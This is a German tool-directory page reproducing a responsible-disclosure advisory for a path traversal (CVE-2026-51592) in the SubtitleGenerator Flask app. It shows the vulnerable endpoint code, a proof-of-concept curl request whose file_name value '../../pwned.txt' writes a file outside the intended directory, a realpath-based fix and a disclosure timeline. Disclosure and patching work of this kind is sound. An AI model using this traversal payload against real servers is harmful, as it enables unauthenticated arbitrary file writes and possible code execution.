Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-51592 — Path-Traversal-Schwachstelle in TahaBakhtari/SubtitleGenerator - CVE-2026-51592 | Kitploit
Tools/GitHubGitHub/ardakrg/cve-2026-51592
SchwachstellenanalyseWebsicherheitPapers & ForschungLernen & BildungKuratierte Ressourcen
GitHubardakrg/cve-2026-51592

CVE-2026-51592

Path-Traversal-Schwachstelle in TahaBakhtari/SubtitleGenerator - CVE-2026-51592

Repository anzeigen
1vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-51592 — Path Traversal in TahaBakhtari/SubtitleGenerator

Zusammenfassung

Im Endpunkt /update_subtitle von TahaBakhtari/SubtitleGenerator besteht eine Path-Traversal-Schwachstelle. Der Endpunkt akzeptiert einen file_name-Parameter von einem nicht authentifizierten Client und verbindet diesen mithilfe von os.path.join() mit einem festen Basisverzeichnis, ohne Path-Traversal-Sequenzen zu bereinigen. Dadurch kann ein entfernter, nicht authentifizierter Angreifer beliebige Dateien außerhalb des vorgesehenen Verzeichnisses data/subtitles/ innerhalb der Berechtigungen des laufenden Prozesses schreiben.

Betroffenes Produkt

  • Produkt: SubtitleGenerator
  • Repository: https://github.com/TahaBakhtari/SubtitleGenerator
  • Betroffene Version: Commit (neuester Stand zum Testzeitpunkt)
2e2553a
  • Betroffene Komponente: app.py, Funktion update_subtitle (Zeilen 225–238)
  • Details

    root@kitploit:~
    @app.route('/update_subtitle', methods=['POST'])
    def update_subtitle():
        file_type = request.form.get('file_type', 'srt')
        new_content = request.form.get('new_content')
        file_name = request.form.get('file_name')
    
        if not file_name:
            return jsonify({'status': 'error', 'message': '...'}), 400
    
        file_path = os.path.join("data/subtitles", file_name)
    
        try:
            with open(file_path, "w", encoding="utf-8") as f:
                f.write(new_content)
            return jsonify({'status': 'success', 'message': '...'})
        except Exception as e:
            return jsonify({'status': 'error', 'message': str(e)}), 500
    

    Der Parameter file_name wird ohne jegliche Validierung verwendet, um einen Dateipfad zu erstellen. Ein Angreifer kann einen Wert wie ../../pwned.txt angeben, um das Verzeichnis data/subtitles/ zu verlassen und an eine beliebige Stelle zu schreiben, auf die der Prozess Schreibzugriff hat.

    Standardmäßig bindet die Anwendung an 0.0.0.0:5000 (siehe app.py), d. h. sie ist über das Netzwerk erreichbar und nicht auf localhost beschränkt.

    CWE

    CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

    Auswirkungen

    • Beliebiges Schreiben von Dateien innerhalb der Berechtigungen des Flask-Prozesses

    • Überschreiben vorhandener Konfigurations- oder Anwendungsdateien

    • Mögliches Überschreiben von Anwendungsquelldateien (z. B. app.py), was beim nächsten Neustart zu Codeausführung führen könnte

    • Denial of Service durch Beschädigung kritischer Dateien

    • Angriffsvektor: Remote

    • Authentifizierung erforderlich: Nein

    • Benutzerinteraktion erforderlich: Nein

    • Schweregrad (vorläufig): Hoch

    Proof of Concept

    root@kitploit:~
    curl -X POST "http://target:5000/update_subtitle" \
      --data "file_name=../../pwned.txt&new_content=HACKED"
    

    Antwort:

    root@kitploit:~
    {"status": "success", "message": "..."}
    

    Überprüfung auf dem Server:

    root@kitploit:~
    $ ls
    ... pwned.txt ...
    
    $ cat pwned.txt
    HACKED
    

    Die Datei pwned.txt wird in das Projektwurzelverzeichnis geschrieben, zwei Ebenen über dem vorgesehenen Verzeichnis data/subtitles/ — was die Path Traversal bestätigt.

    Siehe poc.sh für eine ausführbare Version dieses Proof of Concept.

    Behebung

    Stellen Sie vor dem Öffnen der Datei mithilfe von os.path.realpath() sicher, dass der aufgelöste Pfad innerhalb von data/subtitles/ bleibt:

    root@kitploit:~
    base_dir = os.path.realpath("data/subtitles")
    target = os.path.realpath(os.path.join("data/subtitles", file_name))
    
    if not target.startswith(base_dir + os.sep):
        return jsonify({'status': 'error', 'message': 'invalid filename'}), 400
    
    file_path = target
    

    Dadurch wird sichergestellt, dass sich der resultierende Pfad immer innerhalb von data/subtitles/ auflöst, wodurch Traversal-Sequenzen wie ../../ wirksam blockiert werden.

    Der vollständige Patch ist in patch.diff verfügbar. Dieser Fix wurde implementiert und gegen eine lokale Testinstanz verifiziert: Derselbe Payload wie im obigen PoC gibt nun einen Fehler „invalid filename" zurück, anstatt die Datei zu schreiben.

    Zeitlicher Ablauf

    • 2026-04-26 — Schwachstelle per E-Mail an den Maintainer gemeldet (Adresse im GitHub-Profil des Maintainers aufgeführt)
    • 2026-06-25 — CVE-ID vom MITRE CVE Assignment Team reserviert
    • 2026-07-24 — Keine Antwort vom Maintainer erhalten; öffentliche Offenlegung (90 Tage nach der ersten Meldung)

    Danksagung

    Entdeckt und gemeldet von Arda Kuruoglu.

    Offenlegungsrichtlinie

    Diese Schwachstelle wurde im Rahmen einer 90-tägigen Responsible-Disclosure-Frist offengelegt, beginnend mit dem Datum der ersten Meldung an den Maintainer.

    Dateien in diesem Repository

    • README.md — dieser Bericht
    • poc.sh — Proof-of-Concept-Skript, das die Schwachstelle demonstriert
    • patch.diff — vorgeschlagener Patch, gegen eine lokale Testinstanz validiert

    Lizenz

    Dieser Bericht und die dazugehörigen Dateien werden unter der MIT-Lizenz veröffentlicht.

    Tool herunterladen